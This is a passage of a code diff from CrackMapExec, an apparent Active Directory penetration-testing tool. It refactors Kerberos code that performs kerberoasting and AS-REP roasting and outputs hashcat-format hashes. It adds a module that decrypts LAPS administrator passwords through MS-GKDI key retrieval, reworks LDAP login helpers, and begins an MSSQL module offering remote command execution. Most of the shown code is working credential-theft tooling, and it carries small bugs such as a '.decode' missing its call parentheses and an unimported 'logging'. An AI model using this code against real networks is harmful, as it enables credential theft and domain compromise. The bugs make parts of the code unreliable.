self["CurrentPassword"] = self.rawData[self["CurrentPasswordOffset"] :][: endData - self["CurrentPasswordOffset"]]
if self["PreviousPasswordOffset"] != 0:
self["PreviousPassword"] = self.rawData[self["PreviousPasswordOffset"] :][: self["QueryPasswordIntervalOffset"] - self["PreviousPasswordOffset"]]
self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
self["QueryPasswordInterval"] = self.rawData[self["QueryPasswordIntervalOffset"] :][: self["UnchangedPasswordIntervalOffset"] - self["QueryPasswordIntervalOffset"]]
self["UnchangedPasswordInterval"] = self.rawData[self["UnchangedPasswordIntervalOffset"] :]
+123 -82
View File
@@ -7,7 +7,15 @@ from datetime import datetime, timedelta
from os import getenv
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP, AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
from impacket.krb5.asn1 import (
TGS_REP,
AS_REQ,
KERB_PA_PAC_REQUEST,
KRB_ERROR,
AS_REP,
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal
@@ -19,27 +27,26 @@ from cme.logger import cme_logger
class KerberosAttacks:
def __init__(self, connection):
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.targetDomain = connection.targetDomain
self.hash = connection.hash
self.lmhash = ''
self.nthash = ''
self.lmhash = ""
self.nthash = ""
self.aesKey = connection.aesKey
self.kdcHost = connection.kdcHost
self.kerberos = connection.kerberos
if self.hash is not None:
if self.hash.find(':') != -1:
self.lmhash, self.nthash = self.hash.split(':')
if self.hash.find(":") != -1:
self.lmhash, self.nthash = self.hash.split(":")
else:
self.nthash = self.hash
if self.password is None:
self.password = ''
self.password = ""
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
@@ -56,49 +63,63 @@ class KerberosAttacks:
# In short, we're interested in splitting the checksum and the rest of the encrypted data
#
# Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
# ticket
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
if decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value:
entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % (
constants.EncryptionTypes.rc4_hmac.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
)
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode,
)
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % (
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(),
)
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value:
entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % (
constants.EncryptionTypes.des_cbc_md5.value,
username,
decodedTGS["ticket"]["realm"],
spn.replace(":", "~"),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
)
else:
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
decodedTGS['ticket']['enc-part']['etype']))
cme_logger.error("Skipping" f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}")
return entry
def getTGT_kerberoasting(self):
try:
ccache = CCache.loadFile(getenv('KRB5CCNAME'))
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
# retrieve user and domain information from CCache file if needed
if self.domain == '':
domain = ccache.principal.realm['data']
if self.domain == "":
domain = ccache.principal.realm["data"]
else:
domain = self.domain
cme_logger.debug("Using Kerberos Cache: %s" % getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
cme_logger.debug("Using Kerberos Cache: %s" % getenv("KRB5CCNAME"))
principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
cme_logger.debug('Using TGT from cache')
cme_logger.debug("Using TGT from cache")
return TGT
else:
cme_logger.debug("No valid credentials found in cache. ")
@@ -113,76 +134,90 @@ class KerberosAttacks:
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.
# If no clear text password is provided, we just go with the defaults.
if self.password != '' and (self.lmhash == '' and self.nthash == ''):
if self.password != "" and (self.lmhash == "" and self.nthash == ""):
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.domain,
compute_lmhash(self.password),
compute_nthash(self.password), self.aesKey,
kdcHost=self.kdcHost)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
"",
self.domain,
compute_lmhash(self.password),
compute_nthash(self.password),
self.aesKey,
kdcHost=self.kdcHost,
)
except Exception as e:
cme_logger.debug('TGT: %s' % str(e))
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain,
unhexlify(self.lmhash),
unhexlify(self.nthash), self.aesKey,
kdcHost=self.kdcHost)
cme_logger.debug("TGT: %s" % str(e))
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.password,
self.domain,
unhexlify(self.lmhash),
unhexlify(self.nthash),
self.aesKey,
kdcHost=self.kdcHost,
)
else:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain,
unhexlify(self.lmhash),
unhexlify(self.nthash), self.aesKey,
kdcHost=self.kdcHost)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.password,
self.domain,
unhexlify(self.lmhash),
unhexlify(self.nthash),
self.aesKey,
kdcHost=self.kdcHost,
)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
TGT["KDC_REP"] = tgt
TGT["cipher"] = cipher
TGT["sessionKey"] = sessionKey
return TGT
def getTGT_asroast(self, userName, requestPAC=True):
clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
asReq = AS_REQ()
domain = self.targetDomain.upper()
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
pacRequest["include-pac"] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq["pvno"] = 5
asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
asReq["padata"] = noValue
asReq["padata"][0] = noValue
asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq["padata"][0]["padata-value"] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
reqBody = seq_set(asReq, "req-body")
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
reqBody["kdc-options"] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
seq_set(reqBody, "sname", serverName.components_to_asn1)
seq_set(reqBody, "cname", clientName.components_to_asn1)
if domain == '':
cme_logger.error('Empty Domain not allowed in Kerberos')
if domain == "":
cme_logger.error("Empty Domain not allowed in Kerberos")
return
reqBody['realm'] = domain
reqBody["realm"] = domain
now = datetime.utcnow() + timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["rtime"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
seq_set_iter(reqBody, "etype", supportedCiphers)
message = encoder.encode(asReq)
@@ -191,9 +226,11 @@ class KerberosAttacks:
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# RC4 not available, OK, let's ask for newer types
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
supportedCiphers = (
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
)
seq_set_iter(reqBody, "etype", supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
@@ -211,11 +248,15 @@ class KerberosAttacks:
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
else:
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
cme_logger.debug('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
cme_logger.debug("User %s doesn't have UF_DONT_REQUIRE_PREAUTH set" % userName)
return
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
hash_TGT = "$krb5asrep$%d$%s@%s:%s$%s" % (
asRep["enc-part"]["etype"],
clientName,
domain,
hexlify(asRep["enc-part"]["cipher"].asOctets()[:16]).decode(),
hexlify(asRep["enc-part"]["cipher"].asOctets()[16:]).decode(),
)
return hash_TGT
+268
View File
@@ -0,0 +1,268 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
from impacket.ldap import ldap as ldap_impacket
from impacket.krb5.kerberosv5 import KerberosError
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.epm import hept_map
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
from cme.logger import CMEAdapter
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
"533": "STATUS_ACCOUNT_DISABLED",
"701": "STATUS_ACCOUNT_EXPIRED",
"531": "STATUS_ACCOUNT_RESTRICTION",
"530": "STATUS_INVALID_LOGON_HOURS",
"532": "STATUS_PASSWORD_EXPIRED",
"773": "STATUS_PASSWORD_MUST_CHANGE",
"775": "USER_ACCOUNT_LOCKED",
"50": "LDAP_INSUFFICIENT_ACCESS",
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
class LDAPConnect:
def __init__(self, host, port, hostname):
self.logger = None
self.proto_logger(host, port, hostname)
def proto_logger(self, host, port, hostname):
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
lmhash = ""
nthash = ""
if kdcHost is None:
kdcHost = domain
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
elif ntlm_hash:
nthash = ntlm_hash
# Create the baseDN
baseDN = ""
domainParts = domain.split(".")
for i in domainParts:
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
ldapConnection.kerberosLogin(
username,
password,
domain,
lmhash,
nthash,
aesKey,
kdcHost=kdcHost,
useCache=False,
)
# Connect to LDAP
out = f"{domain}{username}:{password if password else ntlm_hash}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
ldapConnection.login(
username,
password,
domain,
lmhash,
nthash,
aesKey,
kdcHost=kdcHost,
useCache=False,
)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red",
)
else:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red",
)
return False
except OSError as e:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False
except KerberosError as e:
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}",
color="red",
)
return False
def auth_login(self, domain, username, password, ntlm_hash):
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
elif ntlm_hash:
nthash = ntlm_hash
# Create the baseDN
baseDN = ""
domainParts = domain.split(".")
for i in domainParts:
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
out = "{domain}\\{username}:{password if password else ntlm_hash}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red",
)
else:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red",
)
return False
except OSError as e:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
self.nthash = ntlm_hash
self.lmhash = ''
self.data = data
self.username = username
self.password = password
self.domain = domain
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.logger = None
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def run(self):
KDSCache = {}
self.logger.info('[-] Unpacking blob')
try:
encryptedLAPSBlob = EncryptedPasswordBlob(self.data)
parsed_cms_data, remaining = decoder.decode(encryptedLAPSBlob['Blob'], asn1Spec=rfc5652.ContentInfo())
enveloped_data_blob = parsed_cms_data['content']
parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData())
recipient_infos = parsed_enveloped_data['recipientInfos']
kek_recipient_info = recipient_infos[0]['kekri']
kek_identifier = kek_recipient_info['kekid']
key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier']))
tmp,_ = decoder.decode(kek_identifier['other']['keyAttr'])
sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8")
target_sd = create_sd(sid)
except Exception as e:
logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e))
return
# Check if item is in cache
if key_id['RootKeyId'] in KDSCache:
self.logger.info("Got KDS from cache")
gke = KDSCache[key_id['RootKeyId']]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
stringBinding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol='ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
if self.do_kerberos:
self.logger.info("Connecting using kerberos")
rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.logger.info("Connecting to %s" % stringBinding)
try:
dce.connect()
except Exception as e:
logging.error("Something went wrong, check error status => %s" % str(e))
return False
self.logger.info("Connected")
try:
dce.bind(MSRPC_UUID_GKDI)
except Exception as e:
logging.error("Something went wrong, check error status => %s" % str(e))
return False
self.logger.info("Successfully bound")
self.logger.info("Calling MS-GKDI GetKey")
resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId'])
self.logger.info("Decrypting password")
# Unpack GroupKeyEnvelope
gke = GroupKeyEnvelope(b''.join(resp['pbbOut']))
KDSCache[gke['RootKeyId']] = gke
kek = compute_kek(gke, key_id)
self.logger.info("KEK:\t%s" % kek)
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
iv, _ = decoder.decode(enc_content_parameter)
iv = bytes(iv[0])
cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey']))
self.logger.info("CEK:\t%s" % cek)
plaintext = decrypt_plaintext(cek, iv, remaining)
self.logger.info(plaintext[:-18].decode('utf-16le'))
return plaintext[:-18].decode('utf-16le')
-164
View File
@@ -1,164 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldap as ldap_impacket
from impacket.krb5.kerberosv5 import KerberosError
from cme.logger import CMEAdapter
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
"533": "STATUS_ACCOUNT_DISABLED",
"701": "STATUS_ACCOUNT_EXPIRED",
"531": "STATUS_ACCOUNT_RESTRICTION",
"530": "STATUS_INVALID_LOGON_HOURS",
"532": "STATUS_PASSWORD_EXPIRED",
"773": "STATUS_PASSWORD_MUST_CHANGE",
"775": "USER_ACCOUNT_LOCKED",
"50": "LDAP_INSUFFICIENT_ACCESS",
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
}
class LDAPConnect:
def __init__(self, host, port, hostname):
self.logger = None
self.proto_logger(host, port, hostname)
def proto_logger(self, host, port, hostname):
self.logger = CMEAdapter(
extra={
"protocol": "LDAP",
"host": host,
"port": port,
"hostname": hostname
}
)
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
lmhash = ""
nthash = ""
if kdcHost is None:
kdcHost = domain
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
elif ntlm_hash:
nthash = ntlm_hash
# Create the baseDN
baseDN = ''
domainParts = domain.split('.')
for i in domainParts:
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False)
# Connect to LDAP
out = f"{domain}{username}:{password if password else ntlm_hash}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
ldapConnection.login(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red"
)
else:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red"
)
return False
except OSError as e:
self.logger.debug(
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
)
return False
except KerberosError as e:
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}",
color="red"
)
return False
def plaintext_login(self, domain, username, password, ntlm_hash):
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
elif ntlm_hash:
nthash = ntlm_hash
# Create the baseDN
baseDN = ''
domainParts = domain.split(".")
for i in domainParts:
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
out = u"{domain}\\{username}:{password if password else ntlm_hash}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red"
)
else:
errorCode = str(e).split()[-2][:-1]
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red"
)
return False
except OSError as e:
self.logger.debug(
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
)
return False
+124 -62
View File
@@ -13,8 +13,18 @@ from cme.helpers.powershell import create_ps_command
from impacket import tds
from impacket.krb5.ccache import CCache
from impacket.smbconnection import SMBConnection, SessionError
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
from impacket.tds import (
SQLErrorException,
TDS_LOGINACK_TOKEN,
TDS_ERROR_TOKEN,
TDS_ENVCHANGE_TOKEN,
TDS_INFO_TOKEN,
TDS_ENVCHANGE_VARCHAR,
TDS_ENVCHANGE_DATABASE,
TDS_ENVCHANGE_LANGUAGE,
TDS_ENVCHANGE_CHARSET,
TDS_ENVCHANGE_PACKETSIZE,
)
class mssql(connection):
@@ -24,13 +34,13 @@ class mssql(connection):
self.server_os = None
self.hash = None
self.os_arch = None
self.nthash = ''
self.nthash = ""
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL", parents=[std_parser, module_parser])
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
dgroup = mssql_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
@@ -39,19 +49,47 @@ class mssql(connection):
mssql_parser.add_argument("-q", "--query", dest='mssql_query', metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB')
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cgroup.add_argument(
"--force-ps32",
action="store_true",
help="force the PowerShell command to run in a 32-bit process",
)
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
xgroup.add_argument(
"-x",
metavar="COMMAND",
dest="execute",
help="execute the specified command",
)
